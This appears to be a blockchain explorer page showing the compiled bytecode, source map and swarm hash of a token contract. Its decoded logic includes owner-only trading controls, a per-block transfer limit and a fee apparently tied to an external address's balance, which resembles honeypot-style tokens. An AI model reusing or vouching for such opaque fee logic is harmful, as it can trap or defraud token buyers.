3165f908152600d602052604090205490565b610b189190611598565b1115610b4f5760405162461bcd60e51b8152602060048201526006602482015265119bdc989a5960d21b604482015260640161049f565b601454610100900460ff168015610b7e57506001600160a01b0384165f908152600f602052604090205460ff16155b8015610ba257506001600160a01b0383165f908152600f602052604090205460ff16155b15610c62576001600160a01b038316737a250d5630b4cf539739df2c5dacb4c659f2488d14801590610be257506011546001600160a01b03848116911614155b15610c6257325f908152601060205260409020544311610c505760405162461bcd60e51b8152602060048201526024808201527f4f6e6c79206f6e65207472616e736665722070657220626c6f636b20616c6c6f6044820152633bb2b21760e11b606482015260840161049f565b325f9081526010602052604090204390555b5f610c6e858585610f62565b90505f610c7b8285611533565b6001600160a01b0387165f908152600d6020526040812080549293508692909190610ca7908490611533565b90915550508115610cd657305f908152600d602052604081208054849290610cd0908490611598565b90915550505b600c8054905f610ce5836115ab565b90915550506001600160a01b0385165f908152600d602052604081208054839290610d11908490611598565b92505081905550846001600160a01b0316866001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef86604051610d5d91815260200190565b60405180910390a350600195945050505050565b610d92848430737a250d5630b4cf539739df2c5dacb4c659f2488d866110be565b6012545f805460405163f305d71960e01b8152306004820152602481018690526044810183905260648101929092526001600160a01b0390811660848301524260a48301529091169063f305d71990839060c40160606040518083038185885af1158015610e02573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610e2791906115c3565b50505050505050565b6016805461ff001916610100179055305f908152600d60205260408120549050614e20610e5f6009600a6114e4565b610e6d90633b9aca006114f2565b610e7791906115ee565b8110158015610e88575060165460ff165b15610f54576064610e9b6009600a6114e4565b610ea990633b9aca006114f2565b610eb391906115ee565b8110610ee2576064610ec76009600a6114e4565b610ed590633b9aca006114f2565b610edf91906115ee565b90505b610eeb8161116f565b478015610f5257600a546040515f916001600160a01b03169083908381818185875af1925050503d805f8114610f3c576040519150601f19603f3d011682016040523d82523d5f602084013e610f41565b606091505b50508091505080610f50575f80fd5b505b505b506016805461ff0019169055565b6016545f90819060ff168015610f9057506001600160a01b0385165f908152600f602052604090205460ff16155b8015610fb457506001600160a01b0384165f908152600f602052604090205460ff16155b1561052f576001600160a01b0385165f9081526013602052604090205460ff1680610ff657506001600160a01b0384165f9081526013602052604090205460ff165b1561052f57600654600c541161100e57600154611012565b6004545b61101d6064856115ee565b61102791906114f2565b6011549091506001600160a01b03858116911614801561105057506001600160a01b0385163014155b1561052f575f600854600c54111561106b5750600554611085565b600754600c5411156110805750600354611085565b506002545b60095461109c906001600160a01b03163182611533565b9050806110aa6064866115ee565b6110b491906114f2565b9695505050505050565b6001600160a01b038084165f908152600e6020908152604080832093861683529290522054811115611113576001600160a01b038084165f908152600e602090815260408083209386168352929052205f1990555b6001600160a01b038086165f908152600e6020908152604080832093881683529290522054811115611168576001600160a01b038086165f908152600e602090815260408083209388168352929052205f1990555b5050505050565b60095461119d9030906001600160a01b031681737a250d5630b4cf539739df2c5dacb4c659f2488d856110be565b6040805160028082526060820183525f9260208301908036833701905050905030815f815181106111d0576111d061160d565b6001600160a01b03928316602091820292909201810191909152601254604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611227573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061124b919061157d565b8160018151811061125e5761125e61160d565b6001600160a01b03928316602091820292909201015260125460405163791ac94760e01b815291169063791ac947906112a39085905f90869030904290600401611621565b5f604051808303815f87803b1580156112ba575f80fd5b505af11580156112cc573d5f803e3d5ffd5b505050505050565b5f6020808352835180828501525f5b818110156112ff578581018301518582016040015282016112e3565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114611333575f80fd5b50565b5f8060408385031215611347575f80fd5b82356113528161131f565b946020939093013593505050565b5f805f60608486031215611372575f80fd5b833561137d8161131f565b9250602084013561138d8161131f565b929592945050506040919091013590565b5f602082840312156113ae575f80fd5b813561060b8161131f565b5f80604083850312156113ca575f80fd5b82356113d58161131f565b915060208301356113e58161131f565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561143e57815f1904821115611424576114246113f0565b8085161561143157918102915b93841c9390800290611409565b509250929050565b5f8261145457506001610453565b8161146057505f610453565b816001811461147657600281146114805761149c565b6001915050610453565b60ff841115611491576114916113f0565b50506001821b610453565b5060208310610133831016604e8410600b84101617156114bf575081810a610453565b6114c98383611404565b805f19048211156114dc576114dc6113f0565b029392505050565b5f61060b60ff841683611446565b8082028115828204841417610453576104536113f0565b60208082526010908201526f2a3930b234b733903737ba1037b832b760811b604082015260600190565b81810381811115610453576104536113f0565b60208082526018908201527f4f6e6c79206f776e65722063616e2063616c6c20746869730000000000000000604082015260600190565b5f6020828403121561158d575f80fd5b815161060b8161131f565b80820180821115610453576104536113f0565b5f600182016115bc576115bc6113f0565b5060010190565b5f805f606084860312156115d5575f80fd5b8351925060208401519150604084015190509250925092565b5f8261160857634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b8181101561166f5784516001600160a01b03168352938301939183019160010161164a565b50506001600160a01b0396909616606085015250505060800152939250505056fea26469706673582212208715dde31c2ccb86860e3614f1010fc0dc674674414034cfa506761ca1655ade64736f6c63430008140033

Deployed Bytecode Sourcemap

2168:8928:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4657:80;;;;;;;;;;-1:-1:-1;4729:5:0;;;;;;;;;;;;-1:-1:-1;;;4729:5:0;;;;4657:80;;;;;;;:::i;:::-;;;;;;;;4995:216;;;;;;;;;;-1:-1:-1;4995:216:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;4995:216:0;1023:187:1;2633:32:0;;;;;;;;;;;;;;;;;;;1361:25:1;;;1349:2;1334:18;2633:32:0;1215:177:1;4387:88:0;;;;;;;;;;;;;:::i;6831:406::-;;;;;;;;;;-1:-1:-1;6831:406:0;;;;;:::i;:::-;;:::i;4481:80::-;;;;;;;;;;-1:-1:-1;4481:80:0;;2357:1;2000:36:1;;1988:2;1973:18;4481:80:0;1858:184:1;2672:34:0;;;;;;;;;;;;;;;;2794:33;;;;;;;;;;-1:-1:-1;2794:33:0;;;;-1:-1:-1;;;;;2794:33:0;;;;;;-1:-1:-1;;;;;2227:32:1;;;2209:51;;2197:2;2182:18;2794:33:0;2047:219:1;4743:105:0;;;;;;;;;;-1:-1:-1;4743:105:0;;;;;:::i;:::-;-1:-1:-1;;;;;4827:18:0;4809:7;4827:18;;;:9;:18;;;;;;;4743:105;535:137;;;;;;;;;;;;;:::i;:::-;;8390:113;;;;;;;;;;;;;:::i;3529:26::-;;;;;;;;;;-1:-1:-1;3529:26:0;;;;;;;;3609:57;;;;;;;;;;;;;;;;464:65;;;;;;;;;;-1:-1:-1;502:7:0;520:6;-1:-1:-1;;;;;520:6:0;464:65;;4567:84;;;;;;;;;;-1:-1:-1;4641:7:0;;;;;;;;;;;;-1:-1:-1;;;4641:7:0;;;;4567:84;;5219:227;;;;;;;;;;-1:-1:-1;5219:227:0;;;;;:::i;:::-;;:::i;2713:35::-;;;;;;;;;;;;;;;;3562:40;;;;;;;;;;-1:-1:-1;3562:40:0;;;;;;;;;;;8511:601;;;:::i;2868:25::-;;;;;;;;;;;;;;;;4854:133;;;;;;;;;;-1:-1:-1;4854:133:0;;;;;:::i;:::-;-1:-1:-1;;;;;4956:19:0;;;4938:7;4956:19;;;:11;:19;;;;;;;;:28;;;;;;;;;;;;;4854:133;4995:216;5099:10;5070:4;5087:23;;;:11;:23;;;;;;;;-1:-1:-1;;;;;5087:32:0;;;;;;;;;;:41;;;5144:37;5070:4;;5087:32;;5144:37;;;;5122:6;1361:25:1;;1349:2;1334:18;;1215:177;5144:37:0;;;;;;;;-1:-1:-1;5199:4:0;4995:216;;;;;:::o;4387:88::-;4442:7;2422:13;2357:1;2422:2;:13;:::i;:::-;2405:31;;:13;:31;:::i;:::-;4453:19;;4387:88;:::o;6831:406::-;6931:4;6956:27;6976:6;6956:19;:27::i;:::-;6948:56;;;;-1:-1:-1;;;6948:56:0;;;;;;;:::i;:::-;;;;;;;;;-1:-1:-1;;;;;7018:19:0;;;;;;:11;:19;;;;;;;;7038:10;7018:31;;;;;;;;-1:-1:-1;;7018:52:0;7015:157;;-1:-1:-1;;;;;7120:19:0;;;;;;:11;:19;;;;;;;;7140:10;7120:31;;;;;;;;:40;;7154:6;;7120:40;:::i;:::-;-1:-1:-1;;;;;7086:19:0;;;;;;:11;:19;;;;;;;;7106:10;7086:31;;;;;;;:74;7015:157;7189:40;7203:6;7211:9;7222:6;7189:13;:40::i;:::-;7182:47;6831:406;-1:-1:-1;;;;6831:406:0:o;535:137::-;417:6;;-1:-1:-1;;;;;417:6:0;403:10;:20;395:57;;;;-1:-1:-1;;;395:57:0;;;;;;;:::i;:::-;612:1:::1;595:19:::0;;-1:-1:-1;;;;;;595:19:0::1;::::0;;631:32:::1;::::0;2209:51:1;;;631:32:0::1;::::0;2197:2:1;2182:18;631:32:0::1;;;;;;;535:137::o:0;8390:113::-;417:6;;-1:-1:-1;;;;;417:6:0;403:10;:20;395:57;;;;-1:-1:-1;;;395:57:0;;;;;;;:::i;:::-;8443:7:::1;:15:::0;;-1:-1:-1;;8469:26:0;;;8390:113::o;5219:227::-;5299:4;5324:31;5344:10;5324:19;:31::i;:::-;5316:60;;;;-1:-1:-1;;;5316:60:0;;;;;;;:::i;:::-;5394:44;5408:10;5420:9;5431:6;5394:13;:44::i;:::-;5387:51;5219:227;-1:-1:-1;;;5219:227:0:o;8511:601::-;417:6;;-1:-1:-1;;;;;417:6:0;403:10;:20;395:57;;;;-1:-1:-1;;;395:57:0;;;;;;;:::i;:::-;3787:12:::1;:19:::0;;-1:-1:-1;;3787:19:0::1;;;::::0;;8593:9:::2;::::0;-1:-1:-1;;;;;8593:9:0::2;:23:::0;8585:45:::2;;;::::0;-1:-1:-1;;;8585:45:0;;5845:2:1;8585:45:0::2;::::0;::::2;5827:21:1::0;5884:1;5864:18;;;5857:29;-1:-1:-1;;;5902:18:1;;;5895:39;5951:18;;8585:45:0::2;5643:332:1::0;8585:45:0::2;8650:14;::::0;::::2;;8649:15;8641:43;;;::::0;-1:-1:-1;;;8641:43:0;;6182:2:1;8641:43:0::2;::::0;::::2;6164:21:1::0;6221:2;6201:18;;;6194:30;-1:-1:-1;;;6240:18:1;;;6233:45;6295:18;;8641:43:0::2;5980:339:1::0;8641:43:0::2;8715:1;8703:9;:13;:40;;;;8742:1;8720:21;:23;8703:40;8695:82;;;::::0;-1:-1:-1;;;8695:82:0;;6526:2:1;8695:82:0::2;::::0;::::2;6508:21:1::0;6565:2;6545:18;;;6538:30;6604:31;6584:18;;;6577:59;6653:18;;8695:82:0::2;6324:353:1::0;8695:82:0::2;8814:4;8821:1;8796:24:::0;;;:9:::2;:24;::::0;;;;;8788:60:::2;;;::::0;-1:-1:-1;;;8788:60:0;;6884:2:1;8788:60:0::2;::::0;::::2;6866:21:1::0;6923:2;6903:18;;;6896:30;-1:-1:-1;;;6942:18:1;;;6935:51;7003:18;;8788:60:0::2;6682:345:1::0;8788:60:0::2;8882:9;;;;;;;;;-1:-1:-1::0;;;;;8882:9:0::2;-1:-1:-1::0;;;;;8882:17:0::2;;:19;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::2;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;8873:40:0::2;;8922:4;8929:9;;;;;;;;;-1:-1:-1::0;;;;;8929:9:0::2;-1:-1:-1::0;;;;;8929:14:0::2;;:16;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::2;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;8873:73;::::0;-1:-1:-1;;;;;;8873:73:0::2;::::0;;;;;;-1:-1:-1;;;;;7518:15:1;;;8873:73:0::2;::::0;::::2;7500:34:1::0;7570:15;;7550:18;;;7543:43;7435:18;;8873:73:0::2;;;;;;;;;;;;;;;;;;::::0;::::2;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;8861:9;:85:::0;;-1:-1:-1;;;;;;8861:85:0::2;-1:-1:-1::0;;;;;8861:85:0;;::::2;::::0;;::::2;::::0;;;8984:8:::2;::::0;9012:4:::2;-1:-1:-1::0;8994:24:0;;;:9:::2;:24;::::0;;;;;8957:85:::2;::::0;8984:8;;;::::2;::::0;9020:21:::2;8957:15;:85::i;:::-;9064:9;::::0;-1:-1:-1;;;;;9064:9:0::2;9053:21;::::0;;;:10:::2;:21;::::0;;;;:28;;-1:-1:-1;;9053:28:0::2;9077:4;9053:28:::0;;::::2;::::0;;;9083:14:::2;:21:::0;;-1:-1:-1;;3831:20:0;;;;;;8511:601::o;9120:274::-;9243:14;;9187:4;;;;9243:14;;9238:117;;;-1:-1:-1;9276:4:0;9238:117;;;-1:-1:-1;;;;;9303:27:0;;;;;;:19;:27;;;;;;;;9299:56;;;-1:-1:-1;9348:4:0;9375:11;9120:274;-1:-1:-1;;9120:274:0:o;5454:1369::-;5546:4;-1:-1:-1;;;;;5571:20:0;;5563:62;;;;-1:-1:-1;;;5563:62:0;;7799:2:1;5563:62:0;;;7781:21:1;7838:2;7818:18;;;7811:30;7877:31;7857:18;;;7850:59;7926:18;;5563:62:0;7597:353:1;5563:62:0;5641:14;;;;5636:82;;-1:-1:-1;;;;;5667:27:0;;;;;;:19;:27;;;;;;;;5659:56;;;;-1:-1:-1;;;5659:56:0;;;;;;;:::i;:::-;5734:12;;;;;;;5733:13;:45;;;;-1:-1:-1;;;;;;5751:27:0;;;;;;:19;:27;;;;;;;;5750:28;5733:45;:70;;;;-1:-1:-1;;;;;;5782:21:0;;;;;;:10;:21;;;;;;;;5733:70;:95;;;;;5819:9;;5807:8;;:21;;5733:95;5728:117;;;5832:10;:8;:10::i;:::-;5859:7;;;;:30;;;;-1:-1:-1;5880:9:0;;-1:-1:-1;;;;;5870:19:0;;;5880:9;;5870:19;5859:30;:65;;;;-1:-1:-1;;;;;;5894:30:0;;;;;;:19;:30;;;;;;;;5893:31;5859:65;5855:161;;;5982:11;;5972:6;5949:20;5959:9;-1:-1:-1;;;;;4827:18:0;4809:7;4827:18;;;:9;:18;;;;;;;4743:105;5949:20;:29;;;;:::i;:::-;:44;;5941:63;;;;-1:-1:-1;;;5941:63:0;;8287:2:1;5941:63:0;;;8269:21:1;8326:1;8306:18;;;8299:29;-1:-1:-1;;;8344:18:1;;;8337:36;8390:18;;5941:63:0;8085:329:1;5941:63:0;6030:20;;;;;;;:52;;;;-1:-1:-1;;;;;;6055:27:0;;;;;;:19;:27;;;;;;;;6054:28;6030:52;:87;;;;-1:-1:-1;;;;;;6087:30:0;;;;;;:19;:30;;;;;;;;6086:31;6030:87;6026:386;;;-1:-1:-1;;;;;6138:24:0;;3369:42;6138:24;;;;:50;;-1:-1:-1;6179:9:0;;-1:-1:-1;;;;;6166:22:0;;;6179:9;;6166:22;;6138:50;6134:267;;;6246:9;6217:39;;;;:28;:39;;;;;;6259:12;-1:-1:-1;6209:103:0;;;;-1:-1:-1;;;6209:103:0;;8621:2:1;6209:103:0;;;8603:21:1;8660:2;8640:18;;;8633:30;8699:34;8679:18;;;8672:62;-1:-1:-1;;;8750:18:1;;;8743:34;8794:19;;6209:103:0;8419:400:1;6209:103:0;6360:9;6331:39;;;;:28;:39;;;;;6373:12;6331:54;;6134:267;6422:18;6443:36;6453:6;6461:9;6472:6;6443:9;:36::i;:::-;6422:57;-1:-1:-1;6490:23:0;6516:19;6422:57;6516:6;:19;:::i;:::-;-1:-1:-1;;;;;6546:17:0;;;;;;:9;:17;;;;;:27;;6490:45;;-1:-1:-1;6567:6:0;;6546:17;;;:27;;6567:6;;6546:27;:::i;:::-;;;;-1:-1:-1;;6589:14:0;;6584:88;;6640:4;6622:24;;;;:9;:24;;;;;:38;;6650:10;;6622:24;:38;;6650:10;;6622:38;:::i;:::-;;;;-1:-1:-1;;6584:88:0;6682:8;:10;;;:8;:10;;;:::i;:::-;;;;-1:-1:-1;;;;;;;6703:20:0;;;;;;:9;:20;;;;;:39;;6727:15;;6703:20;:39;;6727:15;;6703:39;:::i;:::-;;;;;;;;6775:9;-1:-1:-1;;;;;6758:35:0;6767:6;-1:-1:-1;;;;;6758:35:0;;6786:6;6758:35;;;;1361:25:1;;1349:2;1334:18;;1215:177;6758:35:0;;;;;;;;-1:-1:-1;6811:4:0;;5454:1369;-1:-1:-1;;;;;5454:1369:0:o;8059:323::-;8180:73;8197:6;8205:5;8220:4;3369:42;8240:12;8180:16;:73::i;:::-;8264:9;;;8349:6;;8264:110;;-1:-1:-1;;;8264:110:0;;8322:4;8264:110;;;9305:34:1;9355:18;;;9348:34;;;9398:18;;;9391:34;;;9441:18;;;9434:34;;;;-1:-1:-1;;;;;8349:6:0;;;9484:19:1;;;9477:44;8357:15:0;9537:19:1;;;9530:35;8264:9:0;;;;:25;;8297:13;;9239:19:1;;8264:110:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;8059:323;;;;:::o;10436:620::-;3787:12;:19;;-1:-1:-1;;3787:19:0;;;;;10536:4:::1;-1:-1:-1::0;4827:18:0;;;:9;:18;;;;;;10488:54;-1:-1:-1;3214:5:0::1;2422:13;2357:1;2422:2;:13;:::i;:::-;2405:31;::::0;:13:::1;:31;:::i;:::-;3199:20;;;;:::i;:::-;10560:19;:34;;:52;;;;-1:-1:-1::0;10598:14:0::1;::::0;::::1;;10560:52;10555:494;;;3280:3;2422:13;2357:1;2422:2;:13;:::i;:::-;2405:31;::::0;:13:::1;:31;:::i;:::-;3265:18;;;;:::i;:::-;10635:19;:34;10630:80;;3280:3;2422:13;2357:1;2422:2;:13;:::i;:::-;2405:31;::::0;:13:::1;:31;:::i;:::-;3265:18;;;;:::i;:::-;10674:33;;10630:80;10726:37;10743:19;10726:16;:37::i;:::-;10808:21;10849:23:::0;;10846:192:::1;;10938:10;::::0;:49:::1;::::0;10894:12:::1;::::0;-1:-1:-1;;;;;10938:10:0::1;::::0;10962:19;;10894:12;10938:49;10894:12;10938:49;10962:19;10938:10;:49:::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;10925:62;;;;;11014:7;11006:16;;;::::0;::::1;;10874:164;10846:192;10615:434;10555:494;-1:-1:-1::0;3831:12:0;:20;;-1:-1:-1;;3831:20:0;;;10436:620::o;9402:1026::-;9547:14;;9495:7;;;;9547:14;;:46;;;;-1:-1:-1;;;;;;9566:27:0;;;;;;:19;:27;;;;;;;;9565:28;9547:46;:81;;;;-1:-1:-1;;;;;;9598:30:0;;;;;;:19;:30;;;;;;;;9597:31;9547:81;9543:851;;;-1:-1:-1;;;;;9652:18:0;;;;;;:10;:18;;;;;;;;;:43;;-1:-1:-1;;;;;;9674:21:0;;;;;;:10;:21;;;;;;;;9652:43;9647:736;;;9759:15;;9748:8;;:26;9747:60;;9793:14;;9747:60;;;9778:12;;9747:60;9730:12;9739:3;9730:6;:12;:::i;:::-;9729:79;;;;:::i;:::-;9843:9;;9717:91;;-1:-1:-1;;;;;;9830:22:0;;;9843:9;;9830:22;:49;;;;-1:-1:-1;;;;;;9856:23:0;;9874:4;9856:23;;9830:49;9827:541;;;9903:15;9956:17;;9945:8;;:28;9942:298;;;-1:-1:-1;10011:13:0;;9942:298;;;10068:17;;10057:8;;:28;10054:186;;;-1:-1:-1;10123:11:0;;10054:186;;;-1:-1:-1;10201:15:0;;10054:186;10273:8;;10262:27;;-1:-1:-1;;;;;10273:8:0;:16;10262:27;;:::i;:::-;;-1:-1:-1;10262:27:0;10325:12;10334:3;10325:6;:12;:::i;:::-;10324:24;;;;:::i;:::-;10312:36;10411:9;-1:-1:-1;;;;;;9402:1026:0:o;7245:399::-;-1:-1:-1;;;;;7382:19:0;;;;;;;:11;:19;;;;;;;;:28;;;;;;;;;;:43;-1:-1:-1;7377:126:0;;;-1:-1:-1;;;;;7443:19:0;;;;;;;:11;:19;;;;;;;;:28;;;;;;;;;-1:-1:-1;;7443:48:0;;7377:126;-1:-1:-1;;;;;7520:19:0;;;;;;;:11;:19;;;;;;;;:26;;;;;;;;;;:41;-1:-1:-1;7515:122:0;;;-1:-1:-1;;;;;7579:19:0;;;;;;;:11;:19;;;;;;;;:26;;;;;;;;;-1:-1:-1;;7579:46:0;;7515:122;7245:399;;;;;:::o;7652:::-;7750:8;;7718:82;;7743:4;;-1:-1:-1;;;;;7750:8:0;7743:4;3369:42;7788:11;7718:16;:82::i;:::-;7835:16;;;7849:1;7835:16;;;;;;;;7811:21;;7835:16;;;;;;;;;;-1:-1:-1;7835:16:0;7811:40;;7880:4;7862;7867:1;7862:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;7862:23:0;;;:7;;;;;;;;;;:23;;;;7906:9;;:16;;;-1:-1:-1;;;7906:16:0;;;;:9;;;;;:14;;:16;;;;;7862:7;;7906:16;;;;;:9;:16;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;7896:4;7901:1;7896:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;7896:26:0;;;:7;;;;;;;;;:26;7933:9;;:110;;-1:-1:-1;;;7933:110:0;;:9;;;:60;;:110;;7994:11;;7933:9;;8008:4;;8021;;8027:15;;7933:110;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;7707:344;7652:399;:::o;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;622:70;567:131;:::o;703:315::-;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1397:456::-;1474:6;1482;1490;1543:2;1531:9;1522:7;1518:23;1514:32;1511:52;;;1559:1;1556;1549:12;1511:52;1598:9;1585:23;1617:31;1642:5;1617:31;:::i;:::-;1667:5;-1:-1:-1;1724:2:1;1709:18;;1696:32;1737:33;1696:32;1737:33;:::i;:::-;1397:456;;1789:7;;-1:-1:-1;;;1843:2:1;1828:18;;;;1815:32;;1397:456::o;2271:247::-;2330:6;2383:2;2371:9;2362:7;2358:23;2354:32;2351:52;;;2399:1;2396;2389:12;2351:52;2438:9;2425:23;2457:31;2482:5;2457:31;:::i;2731:388::-;2799:6;2807;2860:2;2848:9;2839:7;2835:23;2831:32;2828:52;;;2876:1;2873;2866:12;2828:52;2915:9;2902:23;2934:31;2959:5;2934:31;:::i;:::-;2984:5;-1:-1:-1;3041:2:1;3026:18;;3013:32;3054:33;3013:32;3054:33;:::i;:::-;3106:7;3096:17;;;2731:388;;;;;:::o;3124:127::-;3185:10;3180:3;3176:20;3173:1;3166:31;3216:4;3213:1;3206:15;3240:4;3237:1;3230:15;3256:422;3345:1;3388:5;3345:1;3402:270;3423:7;3413:8;3410:21;3402:270;;;3482:4;3478:1;3474:6;3470:17;3464:4;3461:27;3458:53;;;3491:18;;:::i;:::-;3541:7;3531:8;3527:22;3524:55;;;3561:16;;;;3524:55;3640:22;;;;3600:15;;;;3402:270;;;3406:3;3256:422;;;;;:::o;3683:806::-;3732:5;3762:8;3752:80;;-1:-1:-1;3803:1:1;3817:5;;3752:80;3851:4;3841:76;;-1:-1:-1;3888:1:1;3902:5;;3841:76;3933:4;3951:1;3946:59;;;;4019:1;4014:130;;;;3926:218;;3946:59;3976:1;3967:10;;3990:5;;;4014:130;4051:3;4041:8;4038:17;4035:43;;;4058:18;;:::i;:::-;-1:-1:-1;;4114:1:1;4100:16;;4129:5;;3926:218;;4228:2;4218:8;4215:16;4209:3;4203:4;4200:13;4196:36;4190:2;4180:8;4177:16;4172:2;4166:4;4163:12;4159:35;4156:77;4153:159;;;-1:-1:-1;4265:19:1;;;4297:5;;4153:159;4344:34;4369:8;4363:4;4344:34;:::i;:::-;4414:6;4410:1;4406:6;4402:19;4393:7;4390:32;4387:58;;;4425:18;;:::i;:::-;4463:20;;3683:806;-1:-1:-1;;;3683:806:1:o;4494:140::-;4552:5;4581:47;4622:4;4612:8;4608:19;4602:4;4581:47;:::i;4639:168::-;4712:9;;;4743;;4760:15;;;4754:22;;4740:37;4730:71;;4781:18;;:::i;4812:340::-;5014:2;4996:21;;;5053:2;5033:18;;;5026:30;-1:-1:-1;;;5087:2:1;5072:18;;5065:46;5143:2;5128:18;;4812:340::o;5157:128::-;5224:9;;;5245:11;;;5242:37;;;5259:18;;:::i;5290:348::-;5492:2;5474:21;;;5531:2;5511:18;;;5504:30;5570:26;5565:2;5550:18;;5543:54;5629:2;5614:18;;5290:348::o;7032:251::-;7102:6;7155:2;7143:9;7134:7;7130:23;7126:32;7123:52;;;7171:1;7168;7161:12;7123:52;7203:9;7197:16;7222:31;7247:5;7222:31;:::i;7955:125::-;8020:9;;;8041:10;;;8038:36;;;8054:18;;:::i;8824:135::-;8863:3;8884:17;;;8881:43;;8904:18;;:::i;:::-;-1:-1:-1;8951:1:1;8940:13;;8824:135::o;9576:306::-;9664:6;9672;9680;9733:2;9721:9;9712:7;9708:23;9704:32;9701:52;;;9749:1;9746;9739:12;9701:52;9778:9;9772:16;9762:26;;9828:2;9817:9;9813:18;9807:25;9797:35;;9872:2;9861:9;9857:18;9851:25;9841:35;;9576:306;;;;;:::o;9887:217::-;9927:1;9953;9943:132;;9997:10;9992:3;9988:20;9985:1;9978:31;10032:4;10029:1;10022:15;10060:4;10057:1;10050:15;9943:132;-1:-1:-1;10089:9:1;;9887:217::o;10451:127::-;10512:10;10507:3;10503:20;10500:1;10493:31;10543:4;10540:1;10533:15;10567:4;10564:1;10557:15;10583:980;10845:4;10893:3;10882:9;10878:19;10924:6;10913:9;10906:25;10950:2;10988:6;10983:2;10972:9;10968:18;10961:34;11031:3;11026:2;11015:9;11011:18;11004:31;11055:6;11090;11084:13;11121:6;11113;11106:22;11159:3;11148:9;11144:19;11137:26;;11198:2;11190:6;11186:15;11172:29;;11219:1;11229:195;11243:6;11240:1;11237:13;11229:195;;;11308:13;;-1:-1:-1;;;;;11304:39:1;11292:52;;11399:15;;;;11364:12;;;;11340:1;11258:9;11229:195;;;-1:-1:-1;;;;;;;11480:32:1;;;;11475:2;11460:18;;11453:60;-1:-1:-1;;;11544:3:1;11529:19;11522:35;11441:3;10583:980;-1:-1:-1;;;10583:980:1:o

Swarm Source

ipfs://8715dde31c2ccb86860e3614f1010fc0dc674674414034cfa506761ca1655ade
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.